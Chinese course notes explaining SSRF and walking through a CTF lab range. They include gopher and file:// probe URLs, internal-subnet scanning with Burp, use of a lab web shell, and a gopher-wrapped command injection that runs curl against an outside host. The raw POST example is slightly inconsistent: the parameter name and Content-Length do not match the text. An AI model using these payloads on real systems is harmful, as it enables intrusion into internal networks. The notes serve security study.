SSRF 漏洞原理与实战笔记

笔记整理自小迪安全课程,记录了 SSRF 漏洞的定义、探测手法以及完整的靶场实战过程。

一、SSRF 概述

SSRF(Server-Side Request Forgery,服务器端请求伪造) 是指:前端用户可以传入任意 URL 到后端服务器,而服务器未对 URL 进行严格的过滤与校验,导致攻击者能够构造恶意 URL,让后端服务器代为发起请求。


二、主要安全影响

  • 读取服务器本地文件(如 file:///etc/passwd
  • 探测内网存活主机及开放端口
  • 攻击内网其他服务器及服务(如 Redis、MySQL、HTTP 服务等)

三、黑盒探针

1. 常见业务功能点

以下功能点常出现 SSRF 漏洞:

  • 社交分享:获取超链接标题、简介等内容展示
  • 转码服务:通过 URL 将原网页内容适配手机屏幕
  • 在线翻译:翻译指定网址的页面内容
  • 图片加载 / 下载:富文本编辑器中的远程图片加载
  • 图片 / 文章收藏:提取 URL 的 title 或文本内容
  • 云服务厂商:远程执行命令检测网站存活
  • 网站采集 / 抓取:输入 URL 进行信息采集
  • 数据库内置功能:如 MongoDB 的 copyDatabase
  • 邮件系统:如接收邮件服务器地址
  • 编码/文件处理:如 ffmpeg、ImageMagick、docx、pdf、XML 处理器
  • 未公开 API 及其他扩展调用 URL 的功能(可通过 Google 语法配合关键字挖掘)

2. 常见 URL 关键参数

share, wap, url, link, src, source, target, u, display, sourceURl, imageURL, Domain

四、漏洞演示(简单示例)

通过构造不同的 URL 协议,可以让服务器访问内外网资源:

  • 读取外网地址
    读取外网地址读取外网地址
  • 读取内网地址
    读取内网地址读取内网地址
  • 访问内网文件
    访问内网文件访问内网文件
  • 探测内网服务
    探测内网探测内网
除此之外,还支持 sftpldaptftp 等协议,因环境限制未测试。

五、SSRF-Labs 综合靶场实战(Hello-CTF 系列)

1. 协议测试与边界探测

通过测试发现 http://https:// 协议有回显,且能访问内网,确认 SSRF 漏洞存在。

靶场协议测试靶场协议测试

边界测试记录

http://127.0.0.1
file:///etc/hosts
dict://127.0.0.1:80
gopher://127.0.0.1:80/_GET / HTTP/1.1%0d%0aHost:127.0.0.1%0d%0a%0d%0a

2. 内网情报收集(SSRF 跳板探测)

利用 file:///etc/hosts 读取主机信息,发现 Docker 内网网段:

172.72.23.0/24

内网其他靶机位于:172.72.23.22 ~ 172.72.23.27

读取 hosts读取 hosts

网络说明

  • Docker Compose 启动时会创建虚拟网桥,容器自动分配同网段 IP(如 172.72.23.*)。
  • 若出现 192.* 网段,则可能是因为配置了多网桥或容器多网卡。

3. Burp Suite 爆破内网服务

抓取请求,发送到 Burp Intruder,爆破内网 IP 段和端口。

Burp 爆破1Burp 爆破1

Burp 爆破2Burp 爆破2

Burp 爆破3Burp 爆破3

结果分析

  • 响应长度 562228 的请求被重点关注。
  • 通过返回内容判断:

    • 172.72.23.22232425 的 80 端口开放 Web 服务
    • 172.72.23.2627 的 80 端口关闭

推荐策略:

  • 第一遍用“狙击手”模式扫 IP 段(1-255),分析响应长度异常的主机。
  • 第二遍用“集束炸弹”模式扫端口。

4. 各内网主机深入分析

172.72.23.22

访问 http://172.72.23.22 返回:

<p>index.php</p><p>shell.php</p>

访问 http://172.72.23.22/shell.php 得到 Shell 页面:

22返回22返回

尝试执行命令获取 flag:

http://172.72.23.22/shell.php?cmd=cat /flag

成功获取 flag:

22-get-flag22-get-flag


172.72.23.23

访问 http://172.72.23.23/index.php 显示为 SQL 数据库相关页面,后续可用 SQLMap 进一步测试。

23sql23sql


172.72.23.24(利用 Gopher 协议)

访问 http://172.72.23.24 发现存在 /ping.php,但该页面只接收 POST 方式提交参数 ip

24gopher24gopher

由于当前 SSRF 只能发送 GET 请求,需要使用 Gopher 协议 模拟 POST 请求。

Gopher 语法

gopher://ip:port/_TCP/IP数据流

构造 POST 请求原始数据包:

POST /ping.php HTTP/1.1
Host: 172.72.23.24
Content-Type: application/x-www-form-urlencoded
Content-Length: 64

target=127.0.0.1;curl http://jalfrvtwki.lfcx.eu.org
⚠️ 注意Content-Length 必须严格等于 body 的字节数,否则 PHP 不会解析 POST 数据。

生成 Payload 步骤

  1. 将上述 HTTP 请求进行 URL 编码(第一次编码)
  2. gopher://172.72.23.24:80/_ + 编码后的数据 再进行 URL 编码(第二次编码)
  3. 最终 Payload 放入 url= 参数中发送

最终 Burp 请求示例:

24gopherburp24gopherburp


六、总结

SSRF 漏洞危害巨大,常作为内网渗透的跳板。防御上应严格限制 URL 协议、过滤内网 IP、禁止访问敏感端口,并对用户输入的 URL 进行白名单校验。